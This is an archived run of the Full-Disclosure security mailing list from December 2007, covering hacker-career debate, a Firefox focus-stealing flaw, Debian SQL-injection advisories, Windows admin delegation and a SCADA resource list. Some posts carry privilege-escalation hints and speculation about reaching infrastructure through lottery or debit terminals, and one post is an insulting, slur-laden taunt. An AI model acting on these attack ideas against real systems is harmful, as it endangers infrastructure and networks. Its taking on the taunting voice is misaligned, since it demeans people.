of you on the cusp of this realization and ready to > start anew, do it. abandon ship. find a comfy admin or analyst > position with decent benefits and a wage that pays the mortgage. > > adopt that pseudonym and rediscover the joy of hacking for its > own sake. the rewards are still there, worth more than a dollar > can provide... > > --- > > as with any broad categorization there are exceptions to this rule. > there is a minuscule minority that has found an amalgamation > sufficiently lucrative and deeply enjoyable without compromising > on any personal integrity. > > to these people i say: you lucky fucks! > may i find such fortune one day... > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -- pdp (architect) | petko d. petkov http://www.gnucitizen.org -------------- next part -------------- An HTML attachment was scrubbed... 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(was: Hell Camp: It never pays enough) In-Reply-To: <6905b1570712020048t8c49b53rbf30e7a21d2e50b0@mail.gmail.com> References: <4ef5fec60712012228oe7333a2t894b553628f1d8c@mail.gmail.com> <6905b1570712020048t8c49b53rbf30e7a21d2e50b0@mail.gmail.com> Message-ID: <4ef5fec60712020127j5b996708k18f8317172057a59@mail.gmail.com> On Dec 2, 2007 12:48 AM, pdp (architect) wrote: > ... you will find a way > to be better off then anybody else without the need to break any laws .. what does breaking the law have to do with this? > there is one very old Chinese saying: "find a job that you love and you will > never work for the rest of your life". sure. it takes a while to get there, don't you think? > Being a technically talented person > and spending your life as a poor sysadmin is plain stupid not to say > completely unnecessary. Running away from money because you think that they > will corrupt you or they will compromise your identity is also quite > retarded to say, don't you think? money are just means to an end, a tool of > trade, and sometimes this is exactly what you need in order to cross to the > next level. agreed. perhaps i should have emphasized a path out, rather than destination... > the problem I see is that hacking has become something that is not. the > computer security hacker circles lost the sense of creativity and turned it > into plain procedure. most, if not all, of the security vulnerabilities > discovered today are discovered due to simple rules. you do this, you run > that, you wait, you've got it. this is not hacking. given enough time, > anybody can learn that. but embracing the mindset is something that a few > can do. this is what i suggested escaping, the mechanical substitute for what used to be a creative and passionate endeavor. escape from it, leave the mechanical to something that pays the bills until you can find and enjoy the "job you love where you never work another day in your life..." if you can do this while mired in infosec whorey, more power to you. the admin / routine positions seem more accommodating to telecommute, flexible schedule, and "free time" while giving the appearance of "working". > btw, GC is currently running a project to show the reality of what I've juts > said. it is still in very initial stage but it will get better with the > time: hakiri.com i'm watching and waiting... From coderman at gmail.com Sun Dec 2 09:33:32 2007 From: coderman at gmail.com (coderman) Date: Sun, 2 Dec 2007 01:33:32 -0800 Subject: [Full-disclosure] authentic hackers still do it for the love ... (was: Hell Camp: It never pays enough) In-Reply-To: <4ef5fec60712020127j5b996708k18f8317172057a59@mail.gmail.com> References: <4ef5fec60712012228oe7333a2t894b553628f1d8c@mail.gmail.com> <6905b1570712020048t8c49b53rbf30e7a21d2e50b0@mail.gmail.com> <4ef5fec60712020127j5b996708k18f8317172057a59@mail.gmail.com> Message-ID: <4ef5fec60712020133w2c542dc7u4edace047b906fcf@mail.gmail.com> On Dec 2, 2007 1:27 AM, coderman wrote: > ... > admin / routine positions seem more accommodating to telecommute, flexible > schedule, and "free time" while giving the appearance of "working". i completely forgot to mention lack of non compete, intellectual property agreements, and other legal bullshit that par for the infosecwhore course... From juha-matti.laurio at netti.fi Sun Dec 2 09:34:42 2007 From: juha-matti.laurio at netti.fi (Juha-Matti Laurio) Date: Sun, 2 Dec 2007 11:34:42 +0200 (EET) Subject: [Full-disclosure] Firefox 2.0.0.11 File Focus Stealing vulnerability Message-ID: <24658565.123601196588082933.JavaMail.juha-matti.laurio@netti.fi> It appears that BID 26669 doesn't list these Bugzilla entries any more. - Juha-Matti Juha-Matti Laurio kirjoitti: > N/A unfortunately, but BID26669 points to entries > https://bugzilla.mozilla.org/show_bug.cgi?id=258875 > and > https://bugzilla.mozilla.org/show_bug.cgi?id=56236 > > via this older one advisory: http://www.securityfocus.com/bid/18308/references > > Link: http://www.securityfocus.com/bid/26669/discuss > > (Probably BID18038 mentioned is a typo...) > > - Juha-Matti > > > "Randal, Phil" kirjoitti: > > > > And the Mozilla bugzilla number is? > > > > > > -----Original Message----- > > From: full-disclosure-bounces at lists.grok.org.uk > > [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of > > Juha-Matti Laurio > > Sent: 01 December 2007 15:25 > > To: carl hardwick; full-disclosure at lists.grok.org.uk > > Subject: Re: [Full-disclosure] Firefox 2.0.0.11 File Focus Stealing > > vulnerability > > > > Netscape Navigator version 9.0.0.4 is affected too. Test done with > > PoC-type URL mentioned on Mac OS X 10.4.10 fully patched. > > Vendor was contacted on 1st Dec 2007. > > > > - Juha-Matti > > > > carl hardwick wrote: > > > Firefox 2.0.0.11 File Focus Stealing vulnerability: > > > > > > Sorry Mozilla, but the recent file focus fix was not enough. I think > > > Mozilla made another mistake while fixing the previous file/label > > > issue. Because now I embed a file field and a textfield inside one > > > label. When this happens, and you type only one time in the textfield, > > > > > the focus travels to the file field and the value travels with it. > > > Back to the drawing board I would say. I only got it to work in > > > Firefox, Gareth checked Safari for me, and it also works in Safari. I > > > guess this type of exploit could function on other HTML objects as > > > well, and could be very dangerous because it only requires a one time > > > focus in a textfield. > > > > > > PoC here: > > > http://carl-hardwick.googlegroups.com/web/Firefox20011StealFocusFlaw.h > > > tm > > > > From nadtec at hotmail.com Sun Dec 2 09:42:26 2007 From: nadtec at hotmail.com (happy nino) Date: Sun, 2 Dec 2007 09:42:26 +0000 Subject: [Full-disclosure] need help in managing administrators In-Reply-To: <4751369B.9060307@pirate-radio.org> References: <4751369B.9060307@pirate-radio.org> Message-ID: Hi All,i've a problem in my organization that we have several domain admins, we are in the process of removing most of them but i need to have a person only authorized to installnew software to users' computers but without having access to other parts of the users machines, is this possible ?..can i delegate a function like this only to certain users with outbeing domain admins?Appreciate your great helpthanks alot regards,Nad _________________________________________________________________ Who's friends with who and co-starred in what? http://www.searchgamesbox.com/celebrityseparation.shtml -------------- next part -------------- An HTML attachment was scrubbed... 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URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071202/4911312d/attachment.html From jmm at debian.org Sun Dec 2 12:06:03 2007 From: jmm at debian.org (Moritz Muehlenhoff) Date: Sun, 2 Dec 2007 13:06:03 +0100 Subject: [Full-disclosure] [SECURITY] [DSA 1417-1] New asterisk packages fix SQL injection Message-ID: <20071202120603.GA4180@galadriel.inutil.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------------------------------------------ Debian Security Advisory DSA-1417-1 security at debian.org http://www.debian.org/security/ Moritz Muehlenhoff December 02, 2007 http://www.debian.org/security/faq - ------------------------------------------------------------------------ Package : asterisk Vulnerability : missing input sanitising Problem type : remote Debian-specific: no CVE Id(s) : CVE-2007-6170 Tilghman Lesher discovered that the logging engine of Asterisk, a free software PBX and telephony toolkit performs insufficient sanitising of call-related data, which may lead to SQL injection. For the stable distribution (etch), this problem has been fixed in version 1:1.2.13~dfsg-2etch2. Updated packages for ia64 will be provided later. For the old stable distribution (sarge), this problem has been fixed in version asterisk 1:1.0.7.dfsg.1-2sarge6. We recommend that you upgrade your asterisk packages. Upgrade instructions - -------------------- wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian 3.1 (oldstable) - ---------------------- Oldstable updates are available for alpha, amd64, arm, hppa, i386, ia64, m68k, mips, mipsel, powerpc, s390 and sparc. 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7334a3e2feb674c36c9047ead63f9caf http://security.debian.org/pool/updates/main/a/asterisk/asterisk-classic_1.2.13~dfsg-2etch2_s390.deb Size/MD5 checksum: 1744120 29ded42531751723b0b9ce18f9f4315d sparc architecture (Sun SPARC/UltraSPARC) http://security.debian.org/pool/updates/main/a/asterisk/asterisk-h323_1.2.13~dfsg-2etch2_sparc.deb Size/MD5 checksum: 132140 b88c46102c3fa6e3e0984efa51e57e64 http://security.debian.org/pool/updates/main/a/asterisk/asterisk-bristuff_1.2.13~dfsg-2etch2_sparc.deb Size/MD5 checksum: 1663704 8162cd98c1628bdf2a61a37099f43f30 http://security.debian.org/pool/updates/main/a/asterisk/asterisk-classic_1.2.13~dfsg-2etch2_sparc.deb Size/MD5 checksum: 1631588 5fbbc2ab0bae1f4549d0186280ce170e These files will probably be moved into the stable distribution on its next update. - --------------------------------------------------------------------------------- For apt-get: deb http://security.debian.org/ stable/updates main For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main Mailing list: debian-security-announce at lists.debian.org Package info: `apt-cache show ' and http://packages.debian.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFHUp85Xm3vHE4uyloRAsTXAJ4uP19dVvidyti04d/W8ofTTHXrYwCcC6jN hCe2TE4FFKOd3i2mReZa4TI= =FbEr -----END PGP SIGNATURE----- From kristian.hermansen at gmail.com Sun Dec 2 13:10:22 2007 From: kristian.hermansen at gmail.com (Kristian Erik Hermansen) Date: Sun, 2 Dec 2007 08:10:22 -0500 Subject: [Full-disclosure] Signature or checksum? Message-ID: On Dec 2, 2007 7:00 AM, coderman wrote: > p.s. for the tin foil hat crowd, those digital sigs are looking > weaker every year compared to cryptographic hash functions and block > ciphers: > > http://dwave.wordpress.com/2007/11/26/slides-from-sc07-progress-in-quantum-computing-panel/ > > not to mention GNFS improvements the last few years... Don't forget Galois group and Fermat surface research :-P -- Kristian Erik Hermansen "I have no special talent. I am only passionately curious." From 3lucid8 at googlemail.com Sun Dec 2 10:38:44 2007 From: 3lucid8 at googlemail.com (3lucid8) Date: Sun, 2 Dec 2007 10:38:44 +0000 Subject: [Full-disclosure] Phioust gets all emotional to gobbles and friends... Message-ID: <8a5de94d0712020238k7150c78di5b01f16832826eb8@mail.gmail.com> Now Lionel, "track you down.." who do you think you are? the Godfather? Your Phd is obviously in fantasyland studies ;-) ------ Phioust means business with his real name and all those philosopher (HAAAA), CISSP and MCSE (lol) degrees ... see for urself in his dangerously sexy email ... in response to our spam threat :) ---------- Forwarded message ---------- From: phioust Date: Nov 30, 2007 9:33 PM Subject: spam? To: isbackgobbles at googlemail.com i suggest you do not make anymore threats, belive me, i have lots of contacts to track you down .. -- Lionel Phioust Phd, CISSP, MCSE ohhhh f33r the b33r, he owns 100 TOR nodes, 10000 wireless hotspots and one lesbian gmail server admin to track our IP's .. wuuuuu !!!! Spammers - We got Phiousts real name for yaall, self pat on the back for good work. ohhh wait wait .. lets make him a bit more jobless by the oath of google Lionel Phioust, security, exploits, bugtraq, scriptkiddie, lamer, idiot, bisexual, Phioust. ROFL Note - Some of our concerned fans suspect us not to be gobbles. I will save all those online forensic retards the time to analyse our emails and come straight to the point .. in w00w00 style .. 10 europeans, 15 asians, 11 americans and one hell of a funny little turkey .. 5 member required to not f33r w00w00 might .. and no .. Shok dont look like Marilyn Mansons gimp boy !!! .. well the gimp suite was stiched by us .. From thijs at debian.org Sun Dec 2 12:22:32 2007 From: thijs at debian.org (Thijs Kinkhorst) Date: Sun, 2 Dec 2007 13:22:32 +0100 Subject: [Full-disclosure] [SECURITY] [DSA 1418-1] New cacti packages fix SQL injection Message-ID: <20071202122232.GA4436@galadriel.inutil.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------------------------------------------ Debian Security Advisory DSA-1418-1 security at debian.org http://www.debian.org/security/ Thijs Kinkhorst December 02, 2007 http://www.debian.org/security/faq - ------------------------------------------------------------------------ Package : cacti Vulnerability : missing input sanitising Problem-Type : remote Debian-specific: no CVE ID : CVE-2007-6035 Debian Bug : 452085 It was discovered that Cacti, a tool to monitor systems and networks, performs insufficient input sanitising, which allows SQL injection. For the oldstable distribution (sarge) this problem has been fixed in version 0.8.6c-7sarge5. For the stable distribution (etch) this problem has been fixed in version 0.8.6i-3.2. For the unstable distribution (sid) this problem has been fixed in version 0.8.7a-1. We recommend that you upgrade your cacti package. Upgrade instructions - -------------------- wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian 3.1 (oldstable) - ---------------------- Oldstable updates are available for alpha, amd64, arm, hppa, i386, ia64, m68k, mips, mipsel, powerpc, s390 and sparc. Source archives: http://security.debian.org/pool/updates/main/c/cacti/cacti_0.8.6c.orig.tar.gz Size/MD5 checksum: 1046586 b4130300f671e773ebea3b8f715912c1 http://security.debian.org/pool/updates/main/c/cacti/cacti_0.8.6c-7sarge5.diff.gz Size/MD5 checksum: 56568 cbd167e3cdd2711ce2910c3a47dd6d45 http://security.debian.org/pool/updates/main/c/cacti/cacti_0.8.6c-7sarge5.dsc Size/MD5 checksum: 887 8bfbdff5df7b79d6b8500cc9b859ac04 Architecture independent packages: http://security.debian.org/pool/updates/main/c/cacti/cacti_0.8.6c-7sarge5_all.deb Size/MD5 checksum: 1059858 fbf23e7c7829a8461dc30217f4f926bc Debian 4.0 (stable) - ------------------- Stable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc. Source archives: http://security.debian.org/pool/updates/main/c/cacti/cacti_0.8.6i.orig.tar.gz Size/MD5 checksum: 1122700 341b5828d95db91f81f5fbba65411d63 http://security.debian.org/pool/updates/main/c/cacti/cacti_0.8.6i-3.2.dsc Size/MD5 checksum: 873 d595d4a1e11781e46b21e6d01c434b29 http://security.debian.org/pool/updates/main/c/cacti/cacti_0.8.6i-3.2.diff.gz Size/MD5 checksum: 34884 46d229352afad9cca2fdc8e61329521e Architecture independent packages: http://security.debian.org/pool/updates/main/c/cacti/cacti_0.8.6i-3.2_all.deb Size/MD5 checksum: 958872 a4156b5ff0ed3ef4251f8214dda90221 These files will probably be moved into the stable distribution on its next update. - --------------------------------------------------------------------------------- For apt-get: deb http://security.debian.org/ stable/updates main For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main Mailing list: debian-security-announce at lists.debian.org Package info: `apt-cache show ' and http://packages.debian.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFHUqNPXm3vHE4uyloRApQoAJ991wGFAC5ZDOoAbvoTPhZYU4G4MgCg6V+U Tj6mYk7pj4nUCYlHdo5D7d0= =s7eM -----END PGP SIGNATURE----- From Billy.Hoffman at spidynamics.com Sun Dec 2 00:18:52 2007 From: Billy.Hoffman at spidynamics.com (Billy.Hoffman at spidynamics.com) Date: Sat, 1 Dec 2007 19:18:52 -0500 (EST) Subject: [Full-disclosure] Web Beam, the new concept web application penetration testing tool Message-ID: <200712020018.lB20HIDD026004@openbsd.nyi.net> We are pleased to announce the result of the strategical partnership between SPI Dynamics and CORE SECURITY INC . Paul Paget's security staff worked closely with us to integrate core impact security engine into our new Web Beam web application penetration testing tool. Web Beam deliveries top level results in automatic web application discovery and in this new technology, the exploiting. The platform includes an opensource licenced SDK to provide assistance in manual web vulnerability analysis that will be released on December 7th on our website. Web Beam includes 0day techniques for web attacks against well known enterprise grade applications widely found in intranet penetration tests. To get an overview of the feature set of Web Beam and to signup for the Beta Testing Program download the presentation available on http://beam.to/WebPresentation2007.pdf Billy Hoffman -- Lead Researcher, SPI Labs SPI Dynamics, An HP Company http://www.spidynamics.com Phone: 678-781-4800 Direct: 678-781-4845 From tbiehn at gmail.com Sun Dec 2 15:29:20 2007 From: tbiehn at gmail.com (T Biehn) Date: Sun, 2 Dec 2007 10:29:20 -0500 Subject: [Full-disclosure] need help in managing administrators In-Reply-To: References: <4751369B.9060307@pirate-radio.org> Message-ID: <2d6724810712020729u103c24fcnbc9b9bc24e3965e7@mail.gmail.com> In short, this depends on the permissions needed / how the installer determines if the user has them. The easiest thing to do is to give local administrator access (I'm assuming Windows platform because it sounds like it), if this is not permissible to you (as local admin access can easily be leveraged into obtaining domain admin) then creating a user account with the required permissions may be your best bet, but again, any extra permissions the installer may need can probably be used to get local administrator access, then domain administrator access. As you probably don't care, go ahead and look at Microsoft KB and search around for custom user permissions (Which range from Files, to Registry RW, to System ability to install drivers, services, impersonate users, create users...) Of course if your installer just looks to see if the person installing is an Administrator instead of looking for the access, then all this trouble is for naught. I'd be interested to know if there was something I was missing, hence the RTA. LOLDONGS, Travis On Dec 2, 2007 4:42 AM, happy nino wrote: > > > > > Hi All, > i've a problem in my organization that we have several domain admins, we are > in the process of removing most of them but i need to have a person only > authorized to install > new software to users' computers but without having access to other parts of > the users machines, is this possible ?..can i delegate a function like this > only to certain users with out > being domain admins? > Appreciate your great help > thanks alot > > regards, > Nad > > > > > > ________________________________ > Get closer to the jungle. I'm a Celebrity Get Me Out Of Here! > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From jf at danglingpointers.net Mon Dec 3 01:47:11 2007 From: jf at danglingpointers.net (jf) Date: Mon, 3 Dec 2007 01:47:11 +0000 (UTC) Subject: [Full-disclosure] authentic hackers still do it for the love ... (was: Hell Camp: It never pays enough) In-Reply-To: <4ef5fec60712012228oe7333a2t894b553628f1d8c@mail.gmail.com> References: <4ef5fec60712012228oe7333a2t894b553628f1d8c@mail.gmail.com> Message-ID: > sooner or later every authentic hacker discovers that you must > separate work from play. I really wish everyone would stop projecting their own world views and insisting that in order for person A to be X you simply have to come to the same conclusions and hold the same sets of beliefs that person B did. In this case the noun is hacker, but the same concept is fairly universal and happens a lot in politics as well. Here is the simple truth, there is no underlying outlook, background, dogma or set of ethics that define hacking. The only theme that applies across the board is breaking computer security. Everything else that you tie into the word is the projection of your own beliefs, which is fine, I don't care what you believe, but don't pretend to speak for me or to know what I'm thinking, in other words, don't put your shit on me (or anyone else). To sum up the point, let's say that you're I dunno southern baptist, you don't presume that everyone else in the scene is also southern baptists, so why do you presume to know my (or anyones) motives, ambitions, et cetera? > when you try and mix them both you > betray the joy and fulfillment of hacking for a paycheck, and it > never pays enough. You're doing it wrong. From Valdis.Kletnieks at vt.edu Sun Dec 2 19:22:54 2007 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sun, 02 Dec 2007 14:22:54 -0500 Subject: [Full-disclosure] need help in managing administrators In-Reply-To: Your message of "Sun, 02 Dec 2007 09:42:26 GMT." References: <4751369B.9060307@pirate-radio.org> Message-ID: <16569.1196623374@turing-police.cc.vt.edu> On Sun, 02 Dec 2007 09:42:26 GMT, happy nino said: > Hi All,i've a problem in my organization that we have several domain admins, > we are in the process of removing most of them but i need to have a person > only authorized to installnew software to users' computers but without having > access to other parts of the users machines, is this possible ? What exactly are you trying to accomplish, given that if they are allowed to install software, they are allowed to install software that will then at a later point in time give them access to other parts of the machine? There's no "don't allow the installation of trojaned software" flag. Also, if you're backing up the machines (you *do* back them up, right?), your admin can probably just restore the files from backup into some other directory... Have you looked at using something like EFS or BitLocker *and turn off key escrow* so the admin's keys don't work? Of course, this makes backups "interesting", and if you have an Internal Audit group, they may have a cow about non-escrowed keys if they have a clue. It would probably be easier to answer this one if you were able to say specifically what "other parts" you didn't want the admins to be getting at, and why you can't just use "if you abuse your privs, you're fired and we're calling the local DA" to keep them in line (this works for most places, if you pay your admins a fair wage, but of course some particularly high-value targets invite high-risk attacks). -------------- next part -------------- A non-text attachment was scrubbed... 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And there's still a few hold-outs that don't agree with *that* theme either, because "hacking" had a different meaning back in the Elder Days. Of course, English is a living language, and terms like "hacker" and "0-day" get redefined, despite our best efforts at preventing it. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071202/834bce1c/attachment.bin From coderman at gmail.com Sun Dec 2 19:29:10 2007 From: coderman at gmail.com (coderman) Date: Sun, 2 Dec 2007 11:29:10 -0800 Subject: [Full-disclosure] authentic hackers still do it for the love ... (was: Hell Camp: It never pays enough) In-Reply-To: References: <4ef5fec60712012228oe7333a2t894b553628f1d8c@mail.gmail.com> Message-ID: <4ef5fec60712021129k6426162do9561a44ff445fa2@mail.gmail.com> On Dec 2, 2007 5:47 PM, jf wrote: > ... something southern baptists ... > You're doing it wrong. oh well, i checked monster.com and my ruse didn't work. no employeee exodus, no new signing bonus, and here i thought you'd all send email notice on a pleasant saturday afternoon. guess i'll have to pay for that CISSP after all... [tell you what jf and pdp, i'd be more curious to know how you cultivated that "job" that isn't yet pays well than continuing this thread before it spirals further into inanity...] From nytrokiss at gmail.com Sun Dec 2 19:34:01 2007 From: nytrokiss at gmail.com (James Matthews) Date: Sun, 2 Dec 2007 20:34:01 +0100 Subject: [Full-disclosure] need help in managing administrators In-Reply-To: <16569.1196623374@turing-police.cc.vt.edu> References: <4751369B.9060307@pirate-radio.org> <16569.1196623374@turing-police.cc.vt.edu> Message-ID: <8a6b8e350712021134l72100737o143d1d7e5367f8e@mail.gmail.com> Why are you removing the admins? based on what you wrote the computer network will probably turn into a massive mess with all these programs installed and users as admins.. On Dec 2, 2007 8:22 PM, wrote: > On Sun, 02 Dec 2007 09:42:26 GMT, happy nino said: > > Hi All,i've a problem in my organization that we have several domain > admins, > > we are in the process of removing most of them but i need to have a > person > > only authorized to installnew software to users' computers but without > having > > access to other parts of the users machines, is this possible ? > > What exactly are you trying to accomplish, given that if they are allowed > to > install software, they are allowed to install software that will then at a > later point in time give them access to other parts of the machine? > There's no > "don't allow the installation of trojaned software" flag. Also, if you're > backing up the machines (you *do* back them up, right?), your admin can > probably just restore the files from backup into some other directory... > > Have you looked at using something like EFS or BitLocker *and turn off key > escrow* so the admin's keys don't work? Of course, this makes backups > "interesting", and if you have an Internal Audit group, they may have a > cow > about non-escrowed keys if they have a clue. > > It would probably be easier to answer this one if you were able to say > specifically what "other parts" you didn't want the admins to be getting > at, > and why you can't just use "if you abuse your privs, you're fired and > we're > calling the local DA" to keep them in line (this works for most places, > if you pay your admins a fair wage, but of course some particularly > high-value > targets invite high-risk attacks). > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -- http://search.goldwatches.com/?Search=Movado+Watches http://www.jewelerslounge.com http://www.goldwatches.com -------------- next part -------------- An HTML attachment was scrubbed... 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On Dec 2, 2007 8:29 PM, coderman wrote: > On Dec 2, 2007 5:47 PM, jf wrote: > > ... something southern baptists ... > > You're doing it wrong. > > oh well, i checked monster.com and my ruse didn't work. > no employeee exodus, no new signing bonus, and here i thought you'd all > send email notice on a pleasant saturday afternoon. > > guess i'll have to pay for that CISSP after all... > > [tell you what jf and pdp, i'd be more curious to know how you > cultivated that "job" that isn't yet pays well than continuing this > thread before it spirals further into inanity...] > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -- http://search.goldwatches.com/?Search=Movado+Watches http://www.jewelerslounge.com http://www.goldwatches.com -------------- next part -------------- An HTML attachment was scrubbed... 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Actually, my first guess is that Happy Nino is trying to *clean up* a network that's infected with users-as-admins, and he's just discovered that if you don't let the users be admins, somebody *else* has to install the software... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071202/15845d67/attachment.bin From tbiehn at gmail.com Sun Dec 2 20:32:22 2007 From: tbiehn at gmail.com (T Biehn) Date: Sun, 2 Dec 2007 15:32:22 -0500 Subject: [Full-disclosure] need help in managing administrators In-Reply-To: <20494.1196626985@turing-police.cc.vt.edu> References: <4751369B.9060307@pirate-radio.org> <16569.1196623374@turing-police.cc.vt.edu> <8a6b8e350712021134l72100737o143d1d7e5367f8e@mail.gmail.com> <20494.1196626985@turing-police.cc.vt.edu> Message-ID: <2d6724810712021232n74f452d1q45a90ea989375787@mail.gmail.com> Clearly stated, he was cleaning up DOMAIN Administrators, which can, you know, Administer all the computers on the domain. *Obviously* I guess we'll all just denounce our friend here for even thinking he could ask a question as STUPID and RIDICULOUS as this one, instead of actually knowing or thinking about one could do. Man, I sure am glad I got my MCSE, CSSIP, CUSSE (yeah I dropped it) CERTIFICATION SOUP. Love, Travis On Dec 2, 2007 3:23 PM, wrote: > On Sun, 02 Dec 2007 20:34:01 +0100, James Matthews said: > > > Why are you removing the admins? based on what you wrote the computer > > network will probably turn into a massive mess with all these programs > > installed and users as admins.. > > Actually, my first guess is that Happy Nino is trying to *clean up* a network > that's infected with users-as-admins, and he's just discovered that if you > don't let the users be admins, somebody *else* has to install the software... > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From tbiehn at gmail.com Sun Dec 2 20:35:34 2007 From: tbiehn at gmail.com (T Biehn) Date: Sun, 2 Dec 2007 15:35:34 -0500 Subject: [Full-disclosure] need help in managing administrators In-Reply-To: <2d6724810712021232n74f452d1q45a90ea989375787@mail.gmail.com> References: <4751369B.9060307@pirate-radio.org> <16569.1196623374@turing-police.cc.vt.edu> <8a6b8e350712021134l72100737o143d1d7e5367f8e@mail.gmail.com> <20494.1196626985@turing-police.cc.vt.edu> <2d6724810712021232n74f452d1q45a90ea989375787@mail.gmail.com> Message-ID: <2d6724810712021235v63d58f9by58452d5cbf8a4cee@mail.gmail.com> Forgot to address one part of the question in my response: Q: new software to users' computers but without having access to other parts of the users machines, is this possible ? A: Yes, this is easy, use EFS & set security perms so that the installer can't access the files. Remember to generate backups of the keys AND OR assign a backup agent (All in the microsoft KB). On Dec 2, 2007 3:32 PM, T Biehn wrote: > Clearly stated, he was cleaning up DOMAIN Administrators, which can, > you know, Administer all the computers on the domain. > > *Obviously* > > I guess we'll all just denounce our friend here for even thinking he > could ask a question as STUPID and RIDICULOUS as this one, instead of > actually knowing or thinking about one could do. > > Man, I sure am glad I got my MCSE, CSSIP, CUSSE (yeah I dropped it) > CERTIFICATION SOUP. > > Love, > > Travis > > > On Dec 2, 2007 3:23 PM, wrote: > > On Sun, 02 Dec 2007 20:34:01 +0100, James Matthews said: > > > > > Why are you removing the admins? based on what you wrote the computer > > > network will probably turn into a massive mess with all these programs > > > installed and users as admins.. > > > > Actually, my first guess is that Happy Nino is trying to *clean up* a network > > that's infected with users-as-admins, and he's just discovered that if you > > don't let the users be admins, somebody *else* has to install the software... > > > > _______________________________________________ > > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > From Valdis.Kletnieks at vt.edu Sun Dec 2 21:04:10 2007 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sun, 02 Dec 2007 16:04:10 -0500 Subject: [Full-disclosure] need help in managing administrators In-Reply-To: Your message of "Sun, 02 Dec 2007 15:32:22 EST." <2d6724810712021232n74f452d1q45a90ea989375787@mail.gmail.com> References: <4751369B.9060307@pirate-radio.org> <16569.1196623374@turing-police.cc.vt.edu> <8a6b8e350712021134l72100737o143d1d7e5367f8e@mail.gmail.com> <20494.1196626985@turing-police.cc.vt.edu> <2d6724810712021232n74f452d1q45a90ea989375787@mail.gmail.com> Message-ID: <23107.1196629450@turing-police.cc.vt.edu> On Sun, 02 Dec 2007 15:32:22 EST, T Biehn said: > Clearly stated, he was cleaning up DOMAIN Administrators, which can, > you know, Administer all the computers on the domain. What, you don't think that some people are unfortunate enough to be newcomers to the field, and their first assignment is to clean up a net that an even less clued predecessor set up with 'users-as-domain-admins' because the previous guy didn't know the difference between -as-admin and -as-domain-admin? > I guess we'll all just denounce our friend here for even thinking he > could ask a question as STUPID and RIDICULOUS as this one, instead of > actually knowing or thinking about one could do. Keep in mind that we were *all* that clueless at one time. For some of us, it was 30 years ago, for others it's 30 hours ago. -------------- next part -------------- A non-text attachment was scrubbed... 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For some of > us, it was 30 years ago, for others it's 30 hours ago. Yes, but, in IT, we eat our young. Paul Schmehl (pauls at utdallas.edu) Senior Information Security Analyst The University of Texas at Dallas http://www.utdallas.edu/ir/security/ From gmaggro at rogers.com Mon Dec 3 00:52:17 2007 From: gmaggro at rogers.com (gmaggro) Date: Sun, 02 Dec 2007 19:52:17 -0500 Subject: [Full-disclosure] SCADA refresher In-Reply-To: <47505E42.90503@rogers.com> References: <47505E42.90503@rogers.com> Message-ID: <47535341.6060206@rogers.com> Been giving myself a little refresher on SCADA, hope no-one minds the MLP. Stock presentation on SCADA security issues: http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Maynor-Graham-up.pdf Ganesh Devarajan's Defcon presentation was interesting: http://video.google.com/videoplay?docid=2434649448102709100&hl=en Makes of SCADA and related products I have seen in actual use: Allen Bradley (hardware) Siemens (hardware) RAND (hardware) ABB (hardware) Wonderware (software, assuming this was what Ganesh was assaulting) Well, assuming it was Wonderware (http://us.wonderware.com) since in multiple networks of hundreds of thousands of nodes, and the companies that own them... Wonderware was the only SCADA related package that creeped up. On a different and amusing note, X.25 was still in use in a number of these locations. Take that for what you will, but I don't think that's a good sign. Hello, Datapac! However I have little idea what the X.25 landscape is like anymore. Would be interesting if both credit/financial and infrastructure data regularly travelled over the same paths. Get access to a lottery/debit terminal, or just its connectivity, and leverage that. 24th Chaos Communication Congress "Hacking SCADA", it sure would be nice to make it over: http://events.ccc.de/congress/2007/Fahrplan/events/2227.en.html More amusement, though it's a subscription site: http://www.digitalbond.com/wiki/index.php/SCADA_IDS_Signatures Anyone have any resources they'd care to share? From dudevanwinkle at gmail.com Mon Dec 3 01:04:42 2007 From: dudevanwinkle at gmail.com (Dude VanWinkle) Date: Sun, 2 Dec 2007 20:04:42 -0500 Subject: [Full-disclosure] need help in managing administrators In-Reply-To: 